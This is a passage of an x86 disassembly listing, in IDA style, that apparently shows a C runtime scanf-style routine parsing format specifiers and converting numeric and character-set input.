					; sub_41AC71+58j
		mov	edx, off_437D70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41ACF2
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41ACFB
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: sub_41AC71+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41ACFB:				; CODE XREF: sub_41AC71+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_469528
		call	sub_41BD71
		add	esp, 20h
		test	eax, eax
		jz	short loc_41ACCB
		cmp	eax, 1
		jnz	short loc_41AD2D
		movzx	eax, [ebp+var_4]
		jmp	short loc_41AD3A
; ---------------------------------------------------------------------------


loc_41AD2D:				; CODE XREF: sub_41AC71+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41AD3A:				; CODE XREF: sub_41AC71+14j
					; sub_41AC71+1Dj ...
		pop	ebx
		leave
		retn
sub_41AC71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD3D	proc near		; CODE XREF: sub_416AA0+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41B743
		mov	edi, [ebp+arg_0]
		jmp	short loc_41AD6C
; ---------------------------------------------------------------------------


loc_41AD67:				; CODE XREF: sub_41AD3D+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41AD6C:				; CODE XREF: sub_41AD3D+28j
		cmp	dword_437F7C, 1
		jle	short loc_41AD84
		movzx	eax, al
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41AD93
; ---------------------------------------------------------------------------


loc_41AD84:				; CODE XREF: sub_41AD3D+36j
		mov	ecx, off_437D70
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41AD93:				; CODE XREF: sub_41AD3D+45j
		cmp	eax, ebx
		jz	short loc_41ADCD
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7CA
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B7B3
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E095
		add	esp, 0Ch


loc_41ADBB:				; CODE XREF: sub_41AD3D+8Ej
		test	eax, eax
		jz	short loc_41ADCD
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E095
		pop	ecx
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------


loc_41ADCD:				; CODE XREF: sub_41AD3D+58j
					; sub_41AD3D+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41B6AF
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41AE04:				; CODE XREF: sub_41AD3D+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_437F7C, 1
		jle	short loc_41AE21
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41AE30
; ---------------------------------------------------------------------------


loc_41AE21:				; CODE XREF: sub_41AD3D+D3j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41AE30:				; CODE XREF: sub_41AD3D+E2j
		test	eax, eax
		jz	short loc_41AE46
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE46:				; CODE XREF: sub_41AD3D+F5j
		cmp	ebx, 4Eh
		jg	short loc_41AE89
		jz	short loc_41AEAB
		cmp	ebx, 2Ah
		jz	short loc_41AE84
		cmp	ebx, 46h
		jz	short loc_41AEAB
		cmp	ebx, 49h
		jz	short loc_41AE66
		cmp	ebx, 4Ch
		jnz	short loc_41AE98
		inc	[ebp+var_D]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE66:				; CODE XREF: sub_41AD3D+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41AE98
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41AE98
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE84:				; CODE XREF: sub_41AD3D+113j
		inc	[ebp+var_E]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE89:				; CODE XREF: sub_41AD3D+10Cj
		cmp	ebx, 68h
		jz	short loc_41AEA5
		cmp	ebx, 6Ch
		jz	short loc_41AE9D
		cmp	ebx, 77h
		jz	short loc_41AEA0


loc_41AE98:				; CODE XREF: sub_41AD3D+122j
					; sub_41AD3D+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AE9D:				; CODE XREF: sub_41AD3D+154j
		inc	[ebp+var_D]


loc_41AEA0:				; CODE XREF: sub_41AD3D+159j
		inc	[ebp+var_5]
		jmp	short loc_41AEAB
; ---------------------------------------------------------------------------


loc_41AEA5:				; CODE XREF: sub_41AD3D+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41AEAB:				; CODE XREF: sub_41AD3D+107j
					; sub_41AD3D+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41AE04
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41AED0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41AED0:				; CODE XREF: sub_41AD3D+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41AEEE
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41AEEA
		cmp	al, 43h
		jz	short loc_41AEEA
		or	[ebp+var_5], 0FFh
		jmp	short loc_41AEEE
; ---------------------------------------------------------------------------


loc_41AEEA:				; CODE XREF: sub_41AD3D+1A1j
					; sub_41AD3D+1A5j
		mov	[ebp+var_5], 1


loc_41AEEE:				; CODE XREF: sub_41AD3D+19Bj
					; sub_41AD3D+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41AF27
		cmp	esi, 63h
		jz	short loc_41AF18
		cmp	esi, 7Bh
		jz	short loc_41AF18
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41B7CA
		pop	ecx
		jmp	short loc_41AF23
; ---------------------------------------------------------------------------


loc_41AF18:				; CODE XREF: sub_41AD3D+1C5j
					; sub_41AD3D+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799


loc_41AF23:				; CODE XREF: sub_41AD3D+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41AF27:				; CODE XREF: sub_41AD3D+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41AF37
		cmp	[ebp+var_C], eax
		jz	loc_41B713


loc_41AF37:				; CODE XREF: sub_41AD3D+1EFj
		cmp	esi, 6Fh
		jg	loc_41B19E
		jz	loc_41B450
		cmp	esi, 63h
		jz	loc_41B17B
		cmp	esi, 64h
		jz	loc_41B450
		jle	loc_41B1C8
		cmp	esi, 67h
		jle	short loc_41AF9B
		cmp	esi, 69h
		jz	short loc_41AF83
		cmp	esi, 6Eh
		jnz	loc_41B1C8
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41B67E
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41AF83:				; CODE XREF: sub_41AD3D+229j
		push	64h
		pop	esi


loc_41AF86:				; CODE XREF: sub_41AD3D+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41B210
		mov	[ebp+var_17], 1
		jmp	loc_41B215
; ---------------------------------------------------------------------------


loc_41AF9B:				; CODE XREF: sub_41AD3D+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41AFB7
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41AFBC
; ---------------------------------------------------------------------------


loc_41AFB7:				; CODE XREF: sub_41AD3D+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41AFD3


loc_41AFBC:				; CODE XREF: sub_41AD3D+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFD6
; ---------------------------------------------------------------------------


loc_41AFD3:				; CODE XREF: sub_41AD3D+27Dj
		mov	edi, [ebp+arg_0]


loc_41AFD6:				; CODE XREF: sub_41AD3D+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41AFE5
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41AFEC


loc_41AFE5:				; CODE XREF: sub_41AD3D+29Dj
		mov	[ebp+var_C], 15Dh


loc_41AFEC:				; CODE XREF: sub_41AD3D+2A6j
					; sub_41AD3D+2F2j
		cmp	dword_437F7C, 1
		jle	short loc_41B001
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B00C
; ---------------------------------------------------------------------------


loc_41B001:				; CODE XREF: sub_41AD3D+2B6j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B00C:				; CODE XREF: sub_41AD3D+2C2j
		test	eax, eax
		jz	short loc_41B031
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B031
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AFEC
; ---------------------------------------------------------------------------


loc_41B031:				; CODE XREF: sub_41AD3D+2D1j
					; sub_41AD3D+2DBj
		cmp	byte_437F80, bl
		jnz	short loc_41B09F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B09F
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		mov	al, byte_437F80
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41B05A:				; CODE XREF: sub_41AD3D+360j
		cmp	dword_437F7C, 1
		jle	short loc_41B06F
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B07A
; ---------------------------------------------------------------------------


loc_41B06F:				; CODE XREF: sub_41AD3D+324j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B07A:				; CODE XREF: sub_41AD3D+330j
		test	eax, eax
		jz	short loc_41B09F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B09F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B05A
; ---------------------------------------------------------------------------


loc_41B09F:				; CODE XREF: sub_41AD3D+2FAj
					; sub_41AD3D+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41B137
		cmp	ebx, 65h
		jz	short loc_41B0B7
		cmp	ebx, 45h
		jnz	loc_41B137


loc_41B0B7:				; CODE XREF: sub_41AD3D+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B137
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41B0DE
		mov	[esi], al
		inc	esi
		jmp	short loc_41B0E3
; ---------------------------------------------------------------------------


loc_41B0DE:				; CODE XREF: sub_41AD3D+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41B101


loc_41B0E3:				; CODE XREF: sub_41AD3D+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41B0F2
		and	[ebp+var_C], eax
		jmp	short loc_41B101
; ---------------------------------------------------------------------------


loc_41B0F2:				; CODE XREF: sub_41AD3D+3AEj
					; sub_41AD3D+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B101:				; CODE XREF: sub_41AD3D+3A4j
					; sub_41AD3D+3B3j
		cmp	dword_437F7C, 1
		jle	short loc_41B116
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B121
; ---------------------------------------------------------------------------


loc_41B116:				; CODE XREF: sub_41AD3D+3CBj
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B121:				; CODE XREF: sub_41AD3D+3D7j
		test	eax, eax
		jz	short loc_41B137
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41B137
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41B0F2
; ---------------------------------------------------------------------------


loc_41B137:				; CODE XREF: sub_41AD3D+366j
					; sub_41AD3D+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B7B3
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_4380B0
		add	esp, 0Ch
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B17B:				; CODE XREF: sub_41AD3D+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41B18A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41B18A:				; CODE XREF: sub_41AD3D+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41B194
		mov	[ebp+var_16], 1


loc_41B194:				; CODE XREF: sub_41AD3D+451j
		mov	edi, offset dword_4380E0
		jmp	loc_41B2A9
; ---------------------------------------------------------------------------


loc_41B19E:				; CODE XREF: sub_41AD3D+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41B44C
		sub	eax, 3
		jz	loc_41B29A
		dec	eax
		dec	eax
		jz	loc_41B450
		sub	eax, 3
		jz	loc_41AF86
		sub	eax, 3
		jz	short loc_41B1EC


loc_41B1C8:				; CODE XREF: sub_41AD3D+21Bj
					; sub_41AD3D+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41B713
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41AD3D+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41B1F6
		mov	[ebp+var_16], 1


loc_41B1F6:				; CODE XREF: sub_41AD3D+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41B2AD
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41B2A9
; ---------------------------------------------------------------------------


loc_41B210:				; CODE XREF: sub_41AD3D+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41B237


loc_41B215:				; CODE XREF: sub_41AD3D+259j
		dec	[ebp+var_C]
		jnz	short loc_41B226
		cmp	[ebp+var_20], 0
		jz	short loc_41B226
		mov	[ebp+var_F], 1
		jmp	short loc_41B237
; ---------------------------------------------------------------------------


loc_41B226:				; CODE XREF: sub_41AD3D+4DBj
					; sub_41AD3D+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B237:				; CODE XREF: sub_41AD3D+4D6j
					; sub_41AD3D+4E7j
		cmp	ebx, 30h
		jnz	loc_41B485
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41B285
		cmp	bl, 58h
		jz	short loc_41B285
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41B26F
		push	6Fh


loc_41B269:				; CODE XREF: sub_41AD3D+55Bj
		pop	esi
		jmp	loc_41B485
; ---------------------------------------------------------------------------


loc_41B26F:				; CODE XREF: sub_41AD3D+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41B482
; ---------------------------------------------------------------------------


loc_41B285:				; CODE XREF: sub_41AD3D+517j
					; sub_41AD3D+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41B269
; ---------------------------------------------------------------------------


loc_41B29A:				; CODE XREF: sub_41AD3D+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41B2A4
		mov	[ebp+var_16], 1


loc_41B2A4:				; CODE XREF: sub_41AD3D+561j
		mov	edi, offset dword_4380D8


loc_41B2A9:				; CODE XREF: sub_41AD3D+45Cj
					; sub_41AD3D+4CEj
		or	[ebp+var_18], 0FFh


loc_41B2AD:				; CODE XREF: sub_41AD3D+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B2D1
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41B2D1
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------


loc_41B2D1:				; CODE XREF: sub_41AD3D+584j
					; sub_41AD3D+589j
		mov	dl, [ebp+var_35]


loc_41B2D4:				; CODE XREF: sub_41AD3D+592j
					; sub_41AD3D+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41B339
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41B320
		test	dl, dl
		jz	short loc_41B320
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41B320
		inc	edi
		cmp	dl, cl
		jnb	short loc_41B2F3
		mov	al, cl
		jmp	short loc_41B2F7
; ---------------------------------------------------------------------------


loc_41B2F3:				; CODE XREF: sub_41AD3D+5B0j
		mov	al, dl
		mov	dl, cl


loc_41B2F7:				; CODE XREF: sub_41AD3D+5B4j
		cmp	dl, al
		ja	short loc_41B31C
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41B304:				; CODE XREF: sub_41AD3D+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41B304


loc_41B31C:				; CODE XREF: sub_41AD3D+5BCj
		xor	dl, dl
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------


loc_41B320:				; CODE XREF: sub_41AD3D+5A0j
					; sub_41AD3D+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41B2D4
; ---------------------------------------------------------------------------


loc_41B339:				; CODE XREF: sub_41AD3D+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41B743
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B34B
		mov	[ebp+arg_4], edi


loc_41B34B:				; CODE XREF: sub_41AD3D+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41B7B3
		pop	ecx
		pop	ecx


loc_41B362:				; CODE XREF: sub_41AD3D+6BCj
					; sub_41AD3D+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41B376
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41B412


loc_41B376:				; CODE XREF: sub_41AD3D+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41B406
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41B406
		cmp	[ebp+var_E], 0
		jnz	short loc_41B3FE
		cmp	[ebp+var_16], 0
		jz	short loc_41B3F3
		mov	ecx, off_437D70
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B3D2
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		pop	ecx
		mov	[ebp+var_37], al


loc_41B3D2:				; CODE XREF: sub_41AD3D+686j
		push	dword_437F7C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41DFCD
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41B3F6
; ---------------------------------------------------------------------------


loc_41B3F3:				; CODE XREF: sub_41AD3D+673j
		mov	[esi], al
		inc	esi


loc_41B3F6:				; CODE XREF: sub_41AD3D+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41B362
; ---------------------------------------------------------------------------


loc_41B3FE:				; CODE XREF: sub_41AD3D+66Dj
		inc	[ebp+var_30]
		jmp	loc_41B362
; ---------------------------------------------------------------------------


loc_41B406:				; CODE XREF: sub_41AD3D+649j
					; sub_41AD3D+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7B3
		pop	ecx
		pop	ecx


loc_41B412:				; CODE XREF: sub_41AD3D+633j
		cmp	[ebp+var_30], esi
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	loc_41B6A4
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41B6A4
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B444
		and	word ptr [eax],	0
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B444:				; CODE XREF: sub_41AD3D+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B44C:				; CODE XREF: sub_41AD3D+466j
		mov	[ebp+var_D], 1


loc_41B450:				; CODE XREF: sub_41AD3D+203j
					; sub_41AD3D+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41B45E
		mov	[ebp+var_17], 1
		jmp	short loc_41B463
; ---------------------------------------------------------------------------


loc_41B45E:				; CODE XREF: sub_41AD3D+719j
		cmp	ebx, 2Bh
		jnz	short loc_41B485


loc_41B463:				; CODE XREF: sub_41AD3D+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41B474
		cmp	[ebp+var_20], 0
		jz	short loc_41B474
		mov	[ebp+var_F], 1
		jmp	short loc_41B485
; ---------------------------------------------------------------------------


loc_41B474:				; CODE XREF: sub_41AD3D+729j
					; sub_41AD3D+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		pop	ecx
		mov	ebx, eax


loc_41B482:				; CODE XREF: sub_41AD3D+543j
		mov	[ebp+var_14], ebx


loc_41B485:				; CODE XREF: sub_41AD3D+4FDj
					; sub_41AD3D+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41B59E
		cmp	[ebp+var_F], 0
		jnz	loc_41B57C


loc_41B499:				; CODE XREF: sub_41AD3D+82Cj
		cmp	esi, 78h
		jnz	short loc_41B4ED
		cmp	dword_437F7C, 1
		jle	short loc_41B4B6
		push	80h
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B4C3
; ---------------------------------------------------------------------------


loc_41B4B6:				; CODE XREF: sub_41AD3D+768j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41B4C3:				; CODE XREF: sub_41AD3D+777j
		test	eax, eax
		jz	loc_41B56E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41E0C0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41B762
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B540
; ---------------------------------------------------------------------------


loc_41B4ED:				; CODE XREF: sub_41AD3D+75Fj
		cmp	dword_437F7C, 1
		jle	short loc_41B502
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B50D
; ---------------------------------------------------------------------------


loc_41B502:				; CODE XREF: sub_41AD3D+7B7j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B50D:				; CODE XREF: sub_41AD3D+7C3j
		test	eax, eax
		jz	short loc_41B56E
		cmp	esi, 6Fh
		jnz	short loc_41B52B
		cmp	ebx, 38h
		jge	short loc_41B56E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41E0C0
		jmp	short loc_41B53A
; ---------------------------------------------------------------------------


loc_41B52B:				; CODE XREF: sub_41AD3D+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4159A0


loc_41B53A:				; CODE XREF: sub_41AD3D+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41B540:				; CODE XREF: sub_41AD3D+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41B558
		dec	[ebp+var_C]
		jz	short loc_41B57C


loc_41B558:				; CODE XREF: sub_41AD3D+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B499
; ---------------------------------------------------------------------------


loc_41B56E:				; CODE XREF: sub_41AD3D+788j
					; sub_41AD3D+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx


loc_41B57C:				; CODE XREF: sub_41AD3D+756j
					; sub_41AD3D+819j
		cmp	[ebp+var_17], 0
		jz	loc_41B662
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41B662
; ---------------------------------------------------------------------------


loc_41B59E:				; CODE XREF: sub_41AD3D+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41B65A


